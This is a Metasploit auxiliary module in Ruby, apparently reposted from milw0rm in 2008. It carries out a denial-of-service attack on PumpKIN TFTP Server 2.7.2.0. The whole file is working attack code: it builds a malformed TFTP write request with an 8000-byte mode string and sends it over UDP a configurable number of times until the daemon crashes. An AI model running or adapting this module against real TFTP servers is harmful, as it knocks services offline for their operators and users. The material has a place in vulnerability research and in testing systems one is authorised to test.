require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Udp
def initialize(info = {})
super(update_info(info,
'Name' => 'PumpKIN TFTP Server DoS',
'Description' => %q{
PumpKIN TFTP Server 2.7.2.0 eventually reaches a DoS condition when
provided with an overly long mode value. It'll take a minute.
This condition is reached quicker when hammered repeatedly.
},
'Author' => ['Saint Patrick','monStream00'],
'License' => MSF_LICENSE,
'Version' => '7',
'DisclosureDate' => 'Oct 25 2008'))
register_options([
OptInt.new('MULTIPLE', [ false, 'How many times to send (more kills it faster)', 1 ])
])
end
def run
print_status("Sending bad data...")
crapfile=Rex::Text.rand_text_english(4,"\x00")
crapdata=Rex::Text.rand_text_english(8000,"\x00")
lamestring="\x00\x02"+crapfile+"\x00"+crapdata+"\x00"
mul=datastore['MULTIPLE']
0.upto(mul) do
connect_udp
udp_sock.put(lamestring)
sleep 1
disconnect_udp
end
print_status("PumpKIN TFTP daemon is choking...")
end
end
# milw0rm.com [2008-10-25]
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